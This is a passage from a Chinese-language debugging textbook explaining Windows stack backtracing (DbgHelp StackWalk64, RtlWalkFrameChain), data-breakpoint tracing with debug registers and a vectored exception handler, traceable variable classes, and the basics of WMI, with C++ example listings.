帧基准地址没有保存到栈上,也没有EBP寄存器指向它,所以就给栈回
溯带来了困难。这时就需要符号文件中FPO数据的帮忙,否则关于这个
函数的调用就会被跳过。不过,因为现代CPU的强大性已经大大淡化了
FPO优化的意义,所以很多新的软件都不再启用这种优化方法,这使得
因为FPO带来的栈回溯问题会慢慢减少。
了解了上面的知识后,可以归纳出栈回溯的基本算法。该算法的具
体步骤如下。
(1)取得标识线程状态的上下文(CONTEXT)结构。当有异常发
生时,系统会创建这样的结构记录发生异常时的状态。使用
RtlCpatureContext和GetThreadContext API可以在没有发生异常时取得线
程的CONTEXT结构。
(2)通过CONTEXT结构或直接访问寄存器,取得程序指针寄存器
(EIP)的值,通过它可以知道线程的当前执行位置。然后搜索这个位
置附近的符号(SymFromAddr),可以知道所在函数的名称。
(3)通过CONTEXT结构或者直接访问寄存器取得当前栈帧的基准
地址,在x86系统中,如果没有使用FPO,那么EBP寄存器的值就是栈帧
基准地址。
(4)栈帧基准地址向上偏移一个指针宽度(对于32位系统,是4字
节)的位置是函数的返回地址。紧接着便是放在栈上的参数,具体个数
因为函数原型和调用规范而不同。
(5)搜索函数返回地址的邻近符号,可以找到父函数的函数名对
应的源文件名等信息。
(6)当前栈帧基准地址处保存的是前一个栈帧的值,取出这个值
便得到上一个栈帧的基准地址,回到第(4)步循环,直到取得的栈帧
基准地址等于0。
根据上面的算法,可以自己编写代码来实现栈回溯,也可以借助
Windows的API。下面分别介绍使用DbgHelp函数和RTL函数的方法。
16.3.2 利用DbgHelp函数库回溯栈
DbgHelp系列的函数是Windows平台中用来辅助调试和错误处理的
一个函数库,其主要实现位于DbgHelp.DLL文件中,因此通常称为
DbgHelp函数库。DbgHelp函数库为实现栈回溯提供了如下支持。
StackWalk64和StackWalk函数,用于定位栈帧和填充栈帧信息,包
括函数返回值、参数等。
调试符号,包括初始化调试符号引擎,加载符号文件,设置符号文
件搜索路径,寻找符号等。
模块和映像文件,包括枚举进程中的所有模块,查询某块的信息
等。
为了演示如何使用DbgHelp函数库来回溯栈,编写了一个名为
CCallTracer的C++类,完整的代码位于code\chap16\D4D目录中。清单
16-1给出了CCallTracer类的WalkStack方法的源代码。
清单16-1 WalkStack方法
1 HRESULT CCallTracer::WalkStack(PFN_SHOWFRAME pfnShowFrame,
2 PVOID pParam,int nMaxFrames)
3 {
4 HRESULT hr=S_OK;
5 STACKFRAME64 frame; // 描述栈帧信息的标准结构
6 int nCount=0;
7 TCHAR szPath[MAX_PATH];
8 DWORD dwTimeMS;
9
10 dwTimeMS=GetTickCount(); // 记录开始时间
11
12 RtlCaptureContext(&m_Context); // 获取当前的上下文
13
14 memset(&frame, 0x0, sizeof(frame));
15 // 初始化起始栈帧
16 frame.AddrPC.Offset = m_Context.Eip;
17 frame.AddrPC.Mode = AddrModeFlat;
18 frame.AddrFrame.Offset = m_Context.Ebp;
19 frame.AddrFrame.Mode = AddrModeFlat;
20 frame.AddrStack.Offset = m_Context.Esp;
21 frame.AddrStack.Mode = AddrModeFlat;
22
23 while (nCount < nMaxFrames)
24 {
25 nCount++;
26 if (!StackWalk64(IMAGE_FILE_MACHINE_I386,
27 GetCurrentProcess(), GetCurrentThread(),
28 &frame, &m_Context,
29 NULL,
30 SymFunctionTableAccess64,
31 SymGetModuleBase64, NULL))
32 {
33 hr = E_FAIL; // 发生错误,StackWalk64函数通常不设置LastError
34 break;
35 }
36 ShowFrame(&frame,pfnShowFrame,pParam);
37 if (frame.AddrFrame.Offset == 0 || frame.AddrReturn.Offset ==
0)
38 {
39 // 已经到最末一个栈帧,遍历结束
40 break;
41 }
42 }
43
44 // 显示归纳信息
45 _stprintf(szPath,_T("Total Frames: %d; Spend %d MS"),
46 nCount, GetTickCount()-dwTimeMS);
47 pfnShowFrame(szPath, pParam);
48
49 // 显示符号搜索路径
50 SymGetSearchPath(GetCurrentProcess(),szPath,MAX_PATH);
51 pfnShowFrame(szPath, pParam);
52
53 return hr;
54 }
其中,第12行调用RtlCaptureContext API来取得当前线程的上下文
信息,即CONTEXT结构。尽管StackWalk64函数名中包含64字样,但是
该函数也可以用在32位的系统中。需要说明的一点是,在
RtlCaptureContext返回的CONTEXT结构中,其程序指针和栈栈帧等寄
存器的值对应的都是上一级函数的,即调用WalkStack函数的那个函
数。
第14~21行初始化frame变量,它是一个STACKFRAME64结构(见
清单16-2)。
清单16-2 描述栈帧的STACKFRAME64结构
typedef struct _tagSTACKFRAME64 {
ADDRESS64 AddrPC; //程序指针,即当前执行位置
ADDRESS64 AddrReturn; //返回地址
ADDRESS64 AddrFrame; //栈帧地址
ADDRESS64 AddrStack; //栈指针值,相当于ESP寄存器的值
ADDRESS64 AddrBStore; //安腾架构使用的Backing Store地址
PVOID FuncTableEntry; //指向描述FPO的FPO_DATA结构或NULL
DWORD64 Params[4]; //函数的参数
BOOL Far; //是否为远调用
BOOL Virtual; //是否为虚拟栈帧
DWORD64 Reserved[3]; //保留
KDHELP64 KdHelp; //用来协助遍历内核态栈
} STACKFRAME64, *LPSTACKFRAME64;
其中,前4个成员分别用来描述程序计数器(Program Counter,即
程序指针)、函数返回地址、栈帧基准地址、栈指针和安腾CPU所使用
的Backing Store的地址值。它们都是ADDRESS64结构。
typedef struct _tagADDRESS64 {
DWORD64 Offset; //地址的偏移部分
WORD Segment; //段
ADDRESS_MODE Mode; //寻址模式
} ADDRESS64, *LPADDRESS64;
其中,ADDRESS_MODE代表寻址方式,可以为
AddrMode1616(0)、AddrMode1632(1)、AddrModeReal(2)和
AddrModeFlat(3)4个常量之一。
STACKFRAME64结构的FuncTableEntry字段指向的是FPO数据(如
果有),Params数组是使用栈传递的前4个参数,应该根据函数的原型
来判断与实际参数的对应关系。如果栈帧对应的是一个
WOW(Windows 32 On Windows 64或Windows 16 On Windows 32)技
术中的长调用,那么Far字段的值为真。WOW是在高位宽的Windows系
统中运行低位宽的应用程序时所使用的机制,比如在64位的Windows系
统中执行32位的应用程序。如果是虚拟的栈帧,那么Virtual字段为真。
KdHelp字段供内核调试器产生内核态栈回溯时使用。
第23~42行是一个while循环,每次处理一个栈帧。第26~31行调
用StackWalk64 API,将初始化了的frame结构和context结构传递给这个
函数。StackWalk64的后4个参数可以指定4个函数地址,目的是为
WalkStack64函数分别提供以下4种帮助:读内存、访问函数表、取模块
的基地址和翻译地址。当WalkStack64需要某种帮助时,会调用相应的
函数(如果不为空)。
第36行调用ShowFrame方法来显示一个栈帧的信息。第37行是循环
的正常出口,即回溯到最后一个栈帧时,它的帧指针的值为0,这时这
个栈帧的函数返回地址也为空,因为每个线程的第一个函数的栈帧不是
因为函数调用而开始执行的。
第 45~47 行用来显示统计信息。其中pfnShowFrame是参数中指定
的一个函数指针,WalkStack方法通过这个函数把信息汇报给调用者。
第50行和第51行显示符号文件的搜索路径。在CCallTracer类的构造函数
中它会调用SymInitialize函数来初始化符号引擎,代码如下所示。
SymSetOptions(dwOptions|SYMOPT_LOAD_LINES
|SYMOPT_DEFERRED_LOADS
|SYMOPT_OMAP_FIND_NEAREST);
bRet = SymInitialize(GetCurrentProcess(), NULL, TRUE);
因为在符号搜索路径参数中指定的是NULL,所以DbgHelp会使用
当前路径以及环境变量_NT_SYMBOL_PATH和
_NT_ALTERNATE_SYMBOL_PATH的内容作为搜索路径。在作者的系
统中,第51行代码显示的内容如下。
.;SRV*d:\symbols*http://msdl.microsoft.com/download/symbols
为了测试CCallTracer类,编写了一个MFC对话框程序
(D4dTest.EXE),当用户单击界面上的Stack Trace按钮时,会调用前
面介绍的WalkStack方法。
void CD4dTestDlg::OnStacktrace()
{
CCallTracer cs;
cs.WalkStack(ShowStackFrame,this,1000);
}
清单16-3摘录了部分执行结果。
清单16-3 CCallTracer类显示的栈回溯信息
1 ------
2 Child EBP: 0x0012f648, Return Address: 0x5f43749c
3 Module!Function: D4dTest!CD4dTestDlg::OnStacktrace
4 Parameters: (0x0012f8e8,0x00000000,0x00144728,0x00000000)
5 C:\dig\dbg\author\code\chap16\d4d\D4dTest\D4dTestDlg.cpp
6 c:\dig\dbg\author\code\bin\Debug\D4dTest.exe
7 C:\dig\dbg\author\code\chap16\d4d\D4dTest\Debug\D4dTest.pdb
8 Far (WOW): 0; Virtual Frame: 1
9 ------
10 //省略关于中间35个栈帧的很多行
11 ------
12 Child EBP: 0x0012fff0, Return Address: 0x00000000
13 Module!Function: kernel32!BaseProcessStart
14 Parameters: (0x00402740,0x00000000,0x00000000,0x00000000)
15 C:\WINDOWS\system32\kernel32.dll
16 d:\symbols\kernel32.pdb\262A5E0D6EC649ACB3ED74E9CE5701832\kernel32.pd
b
17 FPO: Para dwords: 1; Regs: 0; Frame Type: 3
18 Far (WOW): 0; Virtual Frame: 1
19 Total Frames: 37; Spend 20297 MS
20 .;SRV*d:\symbols*http://msdl.microsoft.com/download/symbols
为了节约篇幅,清单16-3只保留了第一个栈帧和最后一个栈帧的信
息。第12行是被追溯的最后一个栈帧,其返回地址为0。最后一个栈帧
的基准地址为0012fff0,使用调试器可以看到这个地址的值为0。使用这
个特征(或者根据返回地址等于0)可以判断到了最后一个栈帧(清单
16-1的第37行)。
上面的例子对于当前进程的当前线程产生回溯。事实上,也可以为
另一个进程中的某个线程产生栈回溯,比如调试器显示被调试程序中的
函数调用序列(Calling Stack)就属于这种情况。
关于使用DbgHelp函数来进行栈回溯,还有以下几点值得注意。首
先是DbgHelp库的版本,Windows XP预装了一个较老版本的
DbgHelp.DLL,使用这个版本有很多问题,比如它会使用DLL的输出信
息作为符号的来源,而且调用SymGetModuleInfo64这样的函数会失败。
这时,得到的栈帧信息可能残缺不全或有错误。比如以下是使用老版本
的DbgHelp.DLL时,D4dTest.EXE程序得到的最后一个栈帧信息。
Child EBP: 0x0012fff0, Return Address: 0x00000000
Module!Function: Unknown!RegisterWaitForInputIdle
Parameters: (0x00402770,0x00000000,0x00000000,0x00000000)
…
可见没有找到合适的模块信息,解决的办法是将新版本的
DbgHelp.DLL和EXE文件放在同一个目录下。WinDBG工具包中包含的
DbgHelp.DLL是比较新的。
使用了新版本的DbgHelp.DLL后,大多数栈帧的信息都没问题了,
但是个别栈帧还有问题,比如,最后一个栈帧。
Child EBP: 0x0012fff0, Return Address: 0x00000000
Module!Function: kernel32!RegisterWaitForInputIdle
Parameters: (0x00402770,0x00000000,0x00000000,0x00000000)
C:\WINDOWS\system32\kernel32.dll
SymType:-exported-;PdbUnmtchd:0,DbgUnmthd:0,LineNos:0,GlblSym: 0,TypeInfo:
0
Far (WOW): 0; Virtual Frame: 1
上面的函数名显然有错误,符号的类型为“输出”,可见没有找到合
适的PDB文件。符号搜索路径中不是指定了SRV格式的本地符号库和符
号服务器吗?为什么还没有找到kernel32.dll的PDB文件呢?原因是
DbgHelp.DLL没有找到symsrv.dll。将这个文件也复制到D4dTest.EXE文
件所在目录就没有这个问题了,显示的信息即如清单16-3所示,从第16
行关于kernel32.pdb的全路径中可以看出,symsrv.dll在本地符号库中找
到了合适的符号。但是一旦使用了symsrv.dll,它就会检索符号库并可能
通过网络连接远程的服务器,这通常要花费较多时间。因此本节介绍的
方法适合处理程序崩溃或者个别的情况,不适合在程序的执行过程中频
繁记录某一事件的踪迹信息。接下来将介绍一种负荷很小的快速记录方
法。
16.3.3 利用RTL函数回溯栈
在Win32堆的调试设施中,有一种调试方法叫用户态栈回溯(User-
Mode Stack Trace,UST)。一旦启用了UST机制后,当再次调用内存分
配函数时,堆管理器会将函数调用信息(栈回溯信息)保存到一个称为
UST数据库的内存区中。然后使用UMDH或DH就可以得到栈回溯记
录,例如以下内容。
00009DD0 bytes in 0x1 allocations (@ 0x00009D70 + 0x00000018) by: BackTrac
e00803
7C96D6DC : ntdll!RtlDebugAllocateHeap+000000E1
7C949D18 : ntdll!RtlAllocateHeapSlowly+00000044
7C91B298 : ntdll!RtlAllocateHeap+00000E64
1020DE9C : MSVCRTD!_heap_alloc_base+0000013C
…
UST最大的特征是直接记录函数的返回地址,而不是它的符号。将
函数地址转换为符号的工作留给UMDH这样的工具来做,这样便大大节
约了查找和记录符号所需的时间和空间。UST机制主要是由
NTDLL.DLL中的以下函数实现的。
RtlInitializeStackTraceDataBase,负责初始化UST数据库。
RtlLogStackBackTrace,负责发起记录栈回溯信息,它会调用
RtlCaptureStack BackTrace收集栈信息,然后将其写到由全局变量
RtlpStackTraceDataBase所标识的UST数据库中。
RtlCaptureStackBackTrace负责调用RtlWalkFrameChain来执行真正
的信息采集工作。
尽管以上函数没有公开文档化,但因为NTDLL.DLL输出了以上所
有函数,所以还是可以调用它们的。利用这些函数,应用程序也可以使
用UST机制来记录重要操作的函数调用记录。为了演示其用法,在D4D
程序中设计了一个CFastTracer类,完整代码位于code\chap16\D4D目录
中。
RtlWalkFrameChain用于获取栈帧中的函数返回地址,它的原型如
下。
ULONG RtlWalkFrameChain (PVOID *pReturnAddresses, DWORD dwCount, DWORD dwF
lags);
其中,参数pReturnAddresses指向一个指针数组,用来存放每个栈
帧中的函数返回地址;第二个参数是这个数组的大小;第三个参数用于
指定标志值,可以为0。根据函数原型可以定义如下函数指针类型。
typedef ULONG (WINAPI *PFN_RTLWALKFRAMECHAIN)(PVOID *pReturnAddresses,
DWORD dwCount, DWORD dwFlags);
然后使用GetProcAddress API取得RtlWalkFrameChain函数的地址。
hNtDll=LoadLibrary("NTDLL.DLL");
m_pfnWalkFrameChain=(PFN_RTLWALKFRAMECHAIN)
GetProcAddress(hNtDll,"RtlWalkFrameChain");
接下来就可以通过这个函数指针来调用RtlWalkFrameChain函数
了,在D4dTest程序中调用CFastTracer的GetFrameChain方法得到的结果
如下。
Return Address[0]: 0x1000326f
Return Address[1]: 0x004024a2
…
Return Address[37]: 0x7c816fd7
使用DbgHelp函数加载了符号后,便可以得到这些地址所属的函数
和模块名称。
得到了函数返回地址信息后,接下来要解决的问题是如何记录这些
信息。根据具体情况,可以记录在应用程序自己维护的文件中,也可以
复用UST数据库。如果使用UST数据库,那么应该先调用
RtlInitializeStackTraceDataBase函数初始化UST数据库。每次需要添加记
录时,可以调用RtlLogStackBackTrace函数,这个函数会将当时的函数
调用记录记在UST数据库中。使用UMDH这样的工具便可以从UST数据
库中读取记录。
16.4 数据的可追溯性
在调试时,我们经常诧异某个变量的值怎么变成这个样子,想知道
哪个函数在何时将其修改成出乎预料的值。有时我们也希望知道一个变
量取值的变化过程,它曾经取过哪些值,或者在过去的某个时间,它的
取值是什么。要解决这些问题,就要提高数据的可追溯性,也就是记录
数据的修改经过和变化过程,使其可以查询和追溯。
因为在调用函数时栈上记录了被调用函数的返回地址,这为实现代
码的可追溯性提供了一个很好的基础。但对于数据的可追溯性,目前的
计算机架构所提供的支持还很有限。CPU的数据断点功能可以算是其中
一个。第4章介绍过,在软件调试时,可以对感兴趣的数据设置硬件断
点。此后,当再次访问这个数据时,CPU便会发出异常而中断到调试
器。那么能否在非调试情况下利用CPU的数据断点功能来监视变量呢?
答案是肯定的。下面就介绍这种依赖于CPU的数据断点功能来监视数据
并记录其访问经过的方法。
16.4.1 基于数据断点的方法
简单来说,这种方法的原理就是将要监视的变量的地址以断点的形
式设置到CPU的调试寄存器中,这样,当访问这个变量时,CPU便会报
告异常,而后应该在程序中捕捉这个异常并做必要的分析记录。记录可
以包含被访问的变量名称、访问时间、访问代码的地址(即触发断点的
代码地址)等简要信息,还可以根据异常中的上下文结构进行栈回溯从
而得到访问这个变量的函数调用过程,最后把得到的信息记录下来。
以上过程的一个难点就是如何捕捉异常。如果程序正在被调试,那
么数据断点导致的异常会先发给调试器,调试器会处理这个异常,因此
应用程序自己的代码是察觉不到这个异常的。当没有调试器时,数据断
点异常会发给应用程序,如果没有得到处理,那么就会导致应用程序崩
溃而结束。那么应用程序应该如何处理数据断点异常呢?使用结构化异
常处理程序或者C++的异常处理程序显然有很多问题,因为不知道什么
代码会访问被监视的变量而触发异常,连哪个线程都不确定,所以难以
选择这些异常处理程序的设置位置。幸运的是,可以通过Windows XP
引入的向量化异常处理程序(VEH)来解决这个问题。因为一旦注册了
VEH,那么进程内所有线程导致的异常都会发给VEH,VEH不处理时才
会交给结构化异常处理程序或者C++异常处理程序。这样,只要注册了
一个VEH,当它调用后,先判断是否是数据断点异常。如果不是,那么
便返回EXCEPTION_CONTINUE_SEARCH交给结构化异常处理程序
(SHE)去处理;如果是,那么说明有人访问了被监视的变量。清单
16-4给出了实现这一逻辑的VEH的简单代码。
清单16-4 接收数据断点异常的VEH
LONG WINAPI DataTracerVectoredHandler( struct _EXCEPTION_POINTERS *Excepti
onInfo )
{
if(ExceptionInfo->ExceptionRecord->ExceptionCode==0x40010006L)
return EXCEPTION_CONTINUE_SEARCH; //参见本书后续分卷
if(ExceptionInfo->ExceptionRecord->ExceptionCode
==STATUS_SINGLE_STEP //0x80000004L
&& g_pDataTracer!=NULL)
{
g_pDataTracer->HandleEvent(ExceptionInfo);
return EXCEPTION_CONTINUE_EXECUTION; //继续执行触发断点的代码
}
return EXCEPTION_CONTINUE_SEARCH;
}
数据断点的异常代码与单步执行是一样的,即0x80000004L。如果
希望严格判断是否是数据断点,那么应该判断上下文结构中的DR6寄存
器,即ExceptionInfo-> ContextRecord->Dr6。清单16-4中,pDataTracer是
CDataTracer类的实例。这个类封装了设置断点和处理断点事件等功能,
清单16-5给出了它的定义。
清单16-5 演示数据追溯功能的CDataTracer类
class D4D_API CDataTracer
{
public:
HRESULT HandleEvent(struct _EXCEPTION_POINTERS * ExceptionInfo);
ULONG GetDR7(int nDbgRegNo, int nLen, BOOL bReadWrite);
HRESULT StartTrace(); //启动监视功能
BOOL IsVarExisted(ULONG ulVarAddress); //判断指定的变量是否正在被监视
HRESULT RemoveVar(ULONG ulAddress); //移除一个变量
HRESULT AddVar(ULONG ulVarAddress,int nLen, int nReadWrite);//增加要监视
的变量
CDataTracer();
virtual ~CDataTracer();
void ShowString(LPCTSTR szMsg);
HRESULT ClearAllDR(); //清除所有调试寄存器,停止监视
void SetListener(HWND hListBox);
protected:
HRESULT RegVeh(); //注册VEH
HRESULT UnRegVeh(); //注销VEH
ULONG m_VarAddress[DBG_REG_COUNT]; //记录被监视的变量地址
ULONG m_VarLength[DBG_REG_COUNT]; //记录被监视的长度
ULONG m_VarReadWrite[DBG_REG_COUNT]; //记录监视的访问方式
PVOID m_pVehHandler; //VEH句柄
HWND m_hListBox; //接收提示信息的列表框句柄
};
其中,m_VarAddress用来记录要监视的变量地址,m_VarLength用
来记录要监视变量的长度,可以为0(1字节)、1(2字节)、3(4字
节)这三个值之一,m_VarReadWrite用来记录触发断点的访问方式,可
以等于1(只有写时触发)或者3(读写时都触发)。
成员m_hListBox用来存放显示列表用的列表框窗口句柄。出于演示
目的,我们只是将访问记录输出到一个列表框中。SetListener方法用来
设置m_hListBox的值。
AddVar方法用来添加要监视的变量,x86架构支持最多监视4个变
量。StartTrace方法用来启动监视,也就是将记录在成员变量m_VarXXX
中的变量信息设置到CPU的调试器中,其源代码如清单16-6所示。
清单16-6 设置数据断点的源代码
1 HRESULT CDataTracer::StartTrace()
2 {
3 CONTEXT cxt;
4 HANDLE hThread=GetCurrentThread();
5
6 cxt.ContextFlags=CONTEXT_DEBUG_REGISTERS;//|CONTEXT_FULL;
7 if(!GetThreadContext(hThread,&cxt))
8 {
9 OutputDebugString("Failed to get thread context.\n");
10 return E_FAIL;
11 }
12 cxt.Dr0=m_VarAddress[0];
13 cxt.Dr1=m_VarAddress[1];
14 cxt.Dr2=m_VarAddress[2];
15 cxt.Dr3=m_VarAddress[3];
16
17 cxt.Dr7=0;
18 if(m_VarAddress[0]!=0)
19 cxt.Dr7|=GetDR7(0,m_VarLength[0],m_VarReadWrite[0]);
20 if(m_VarAddress[1]!=0)
21 cxt.Dr7|=GetDR7(0,m_VarLength[1],m_VarReadWrite[1]);
22 if(m_VarAddress[2]!=0)
23 cxt.Dr7|=GetDR7(0,m_VarLength[2],m_VarReadWrite[2]);
24 if(m_VarAddress[3]!=0)
25 cxt.Dr7|=GetDR7(0,m_VarLength[3],m_VarReadWrite[3]);
26
27 if(!SetThreadContext(hThread,&cxt))
28 {
29 OutputDebugString("Failed to set thread context.\n");
30 return E_FAIL;
31 }
32
33 if(m_pVehHandler==NULL && RegVeh()!=S_OK)
34 return E_FAIL;
35
36 return S_OK;
37 }
38 ULONG CDataTracer::GetDR7(int nDbgRegNo, int nLen, BOOL bReadWrite)
39 {
40 ULONG ulDR7=0;
41
42 ulDR7|= (BIT_LOCAL_ENABLE<<(nDbgRegNo*2));
43 // bit 0, 2, 4, 6 are for local breakpoint enable
44 //
45
46 // read write bits
47 if(bReadWrite)
48 ulDR7|=BIT_RW_RW<<(16+nDbgRegNo*4);
49 else
50 ulDR7|=BIT_RW_WO<<(16+nDbgRegNo*4);
51
52 ulDR7|=nLen<<(16+nDbgRegNo*4+2);
53
54 return ulDR7;
55 }
其中,第7行通过GetThreadContext API取得线程的上下文
(CONTEXT)结构,第12~25行设置CONTEXT结构中调试寄存器的
值,第27行通过SetThread Context API将CONTEXT结构设置到硬件中。
GetDR7方法用来计算某个断点所需的DR7寄存器值,因为多个断点共
用DR7寄存器,所以多个断点的设置通过“或”(OR)操作集成在一起。
关于DR7寄存器的细节,第4章做过详细的介绍。
清单16-7 处理数据断点事件的源代码
1 HRESULT CDataTracer::HandleEvent(_EXCEPTION_POINTERS *ExceptionInfo)
2 {
3 ULONG ulDR6;
4 TCHAR szMsg[MAX_PATH]=_T("CDataTracer::HandleEvent");
5
6 // check Dr6 to see which break point was triggered.
7 ulDR6=ExceptionInfo->ContextRecord->Dr6;
8
9 for(int i=0;i<DBG_REG_COUNT;i++)
10 {
11 if( ( ulDR6&(1<<i) ) != 0) // bit i was set
12 _stprintf(szMsg,_T("Data at 0x%08x was accessed by code at
0x%08x."),
13 m_VarAddress[i], ExceptionInfo->ExceptionRecord->Exception
Address);
14 }
15 ShowString(szMsg);
16 CCallTracer ct;
17 ct.SetOptions(CALLTRACE_OPT_INFO_LEAN);
18 ct.WalkStack(ShowStackFrame, this, 1000, ExceptionInfo->ContextRe
cord);
19
20 return S_OK;
21 }
清单16-7列出了用来处理数据断点事件的HandleEvent函数的源代
码。其中第7行先取出记录断点信息的DR6寄存器,因为单步执行和所
有数据断点触发的都是一个异常(1号),所以只有通过DR6寄存器才
能判断出到底是哪个断点(见第4章)。第9~14行的for循环依次判断
DR6的低4位,如果某一位为1,则说明对应的断点被触发了。第16~18
行使用上一节介绍的CCallTracer类来显示栈回溯信息,也就是访问被监
视变量的过程。
为了验证CDataTracer类的有效性,在D4dTest程序中用它来监视
CD4dTest Dlg类的m_nInteger成员。在OnInitDialog方法中,加入了如下
代码。
if(g_pDataTracer==NULL)
{
g_pDataTracer=new CDataTracer();
g_pDataTracer->SetListener(m_ListInfo.m_hWnd);
g_pDataTracer->AddVar((ULONG)&m_nInteger, 0, TRUE);
g_pDataTracer->StartTrace();
}
因为m_nInteger是使用MFC的DDX(Dialog Data Exchange)机制与
界面上的编辑框绑定的,所以当单击界面上的Assign按钮时(见图16-
1),便会触发监视机制,从而看到列表框中输出nInteger变量被访问的
经过。
图16-1 显示访问变量过程的D4dTest程序
列表框中的信息告诉我们,在单击界面上的Assign按钮后,访问了
m_nInteger变量两次(图中只显示出第一次),一次是被
_AfxSimpleScanf函数访问,另一次是被CD4dTestDlg::OnAssign函数访
问。输出的信息中包含了每次访问的详细过程,这证明了本方法的可行
性。在实际使用时,可以考虑使用类似CFastTrace类的方法只记录函数
的返回地址,这样可以大大提高速度。
需要说明的是,CDataTracer类只是为了满足演示目的而设计的,如
果要用到实际的软件项目中,还需要做一些增强和完善。比如,在每次
收到数据断点事件时,最好显示出变量的当前值,这需要暂时禁止数据
断点。否则,如果设置的访问方式是读写都触发,那么读取变量时又会
触发断点导致死循环。
使用数据断点方法的一个不足是可以监视的变量数量非常有限,这
是硬件平台所决定的。下面将介绍的基于对象封装技术的方法没有这个
限制。
16.4.2 使用对象封装技术来追踪数据变化
通过对象封装技术来追踪变量访问过程的基本思想是将要监视的数
据封装在一个类中,然后通过运算符重载截获对变量的访问,并进行记
录。可以使用环形缓冲区来循环记录变量的历史值,也可以维护一块专
门的内存区。每次变量被访问时的栈回溯信息可以记录在UST数据库
中。
为了演示这种方法,编写了一个用于追踪整型变量的CD4dInteger
类。清单16-8给出了这个类的定义,成员m_pTracker用来指向保存历史
值的环形缓冲区,m_nTrackDepth代表这个缓冲区的长度。
清单16-8 具有可追溯性的整数类型
class D4D_API CD4dInteger : public CD4dObject
{
protected:
long m_nTrackerIndex; //追踪数组的可用位置
long * m_pTracker; //记录变量历史值的追踪数组
long m_nTrackDepth; //追踪数组的长度
long m_nCurValue; //变量的当前值
public:
long CurValue(){return m_nCurValue;};
long GetTrace(int nBackStep); //读取历史值
long GetTrackDepth(){return m_nTrackDepth;}
CD4dInteger& operator =(long nValue); //重载赋值运算符
CD4dInteger(int nTrackDepth=1024);
virtual ~CD4dInteger();
virtual DWORD UnitTest (DWORD dwParaFlags);
virtual DWORD Dump(HANDLE hFile);
};
因为重载了赋值运算符,所以当为CD4dInteger的实例赋值时,就
会触发它的赋值运算符方法。
CD4dInteger& CD4dInteger::operator =(long nValue)
{
int nIndex = InterlockedIncrement (&m_nTrackerIndex);
nIndex %= m_nTrackDepth;
this->m_nCurValue=nValue;
this->m_pTracker[nIndex] = nValue;
return *this;
}
除了更新当前值外,这个方法还在环形缓冲区找一个新的位置将当
前值保存起来。这样环形缓冲区便记录下了这个数据的变化过程。如果
要记录每次更新数据时的函数调用过程,那么只要在这个方法中加入记
录栈回溯信息的代码。
16.5 可观察性的实现
当我们在调试软件时,经常有这样的疑问:在某一时刻,比如当程
序发生错误或崩溃时,CPU在执行哪个函数或函数的哪一部分?此时循
环L已经执行了多少次?变量A的值是什么?这个时候进程中共有多少
个线程?有多少个模块?动态链接库M是否加载了?如果加载了,被加
载的版本是多少?如此等等[2]。
能否迅速找到这些问题的答案对调试效率有着直接的影响。很多时
候,就是因为无法回答上面的某一个问题,使调试工作陷入僵局。然
后,可能要花费数小时乃至数天的时间来修改软件,向软件中增加输出
状态信息的代码,然后重新编译、安装、执行,再寻找答案。这种方法
有时候被形象地称为“代码注入”,即向程序中注入用来显示软件状态或
者其他辅助观察的代码。
因为每次注入代码都需要重新编译程序,所以这种方法的效率是比
较低的。为了提高效率,在设计软件时就应该考虑如何使软件的各种特
征可以被调试人员简便地观察到,即提高软件的可观察性。
16.5.1 状态查询
为了便于观察软件的内部运行状态,设计软件时应该考虑如何查询
软件的内部状态,这对软件维护和调试乃至最终用户都是有帮助的。
提供状态查询的方式可以根据软件的具体特征而灵活设计,对于网
站或网络服务(Web Service),可以通过网页的形式来提供。如果是简
单的客户端软件,可以采用对话框的形式。
大多数设计完善的软件系统都会提供专门的工具供用户查询系统的
状态。以Windows操作系统为例,使用任务管理器可以查询系统中运行
的进程、线程和内存使用情况等信息;使用driverquery命令可以查询系
统中加载的驱动程序;使用netstat命令可以查询系统的网络连接情况;
使用设备管理器可以查询系统中各种硬件和设备驱动程序的工作情况,
等等。
对于越大型的软件系统,状态查询功能越显得重要,因此在架构设
计阶段就应该考虑如何支持状态查询功能,设计统一的接口和附属工
具。对于中小型的软件可以考虑配备简单的状态查询功能,比如一个对
话框里面包含了软件的重要运行指标。
如果从设计阶段就将状态查询功能考虑进来,那么所需花费的开发
投入通常并不大,但如果等到发生了问题再考虑如何增加这些功能,那
么不但要花费更多的精力,而且效果也很难做到“天衣无缝”。
除了设计专用的接口和查询方式外,也可以使用操作系统或者工业
标准定义的标准方式来支持状态查询,比如后面介绍的WMI方式和性能
计数器方式。使用标准方式的好处是可以被通用的工具所访问。
16.5.2 WMI
Windows是个庞大的系统,如何了解系统中各个部件的运行状况并
对它们进行管理和维护是个重要而复杂的问题。如果系统的每个部件都
提供一个管理程序,那么不但会导致很多重复的开发工作,而且会影响
系统的简洁性和性能。更好的做法是操控系统实现并提供一套统一的机
制和框架,其他部件只须按照一定的规范实现与自身逻辑密切相关的部
分,WMI(Windows Management Instrumentation)便是针对这一目标设
计的。
WMI提供了一套标准化的机制来管理本地及远程的Windows系统,
包括操作系统自身的各个部件及系统中运行的各种应用软件,只要它们
提供了WMI支持。WMI最早出现在NT4的SP4中,并成为其后所有
Windows操作系统必不可少的一部分。在今天的Windows系统中,很容
易就可以看到WMI的身影,比如计算机管理(Computer Management)
控制台、事件查看器、服务控制台(Services Console)等。事实上,这
些工具都使用MMC(Microsoft Management Console)程序来提供用户
接口。
从架构角度来看,整个WMI系统由以下几个部分组成。
托管对象(Managed Object):即要管理的目标对象,WMI系统的
价值就是获得这些对象的信息或配置它们的行为。
WMI提供器(WMI Provider):按照WMI标准编写的软件组件,它
代表托管对象与WMI管理器交互,向其提供数据或执行其下达的操
作。WMI提供器隐藏了不同托管对象的差异,使WMI管理器可以
以统一的方式查询和管理托管对象。
WMI基础设施(WMI Infrastructure):包括存储对象信息的数据库
和实现WMI核心功能的对象管理器。因为WMI使用CIM(Common
Information Model)标准来描述和管理托管对象,所以WMI的数据
库和对象管理器分别命名为CIM数据仓库(CIM Repository)和
CIM对象管理器(CIM Object Manager,CIMOM)。
WMI应用编程接口(API):WMI提供了几种形式的API,以方便
不同类型的WMI应用使用WMI功能,比如供C/C++程序调用的函数
形式(DLL、Lib和头文件),供Visual Basic和脚本语言调用
ActiveX控件的形式和通过ODBC适配器(ODBC adaptor)访问的数
据库形式。
WMI应用程序(WMI Application):即通过WMI API使用WMI服
务的各种工具和应用程序。比如Windows中的MMC程序,以及各
种实用WMI的Windows脚本。因为从数据流向角度看,WMI应用程
序是消耗WMI提供器所提供的信息的,所以有时又称为WMI消耗
器(WMI Consumer)。
在对WMI有了基本认识后,下面介绍如何在驱动程序中通过WMI
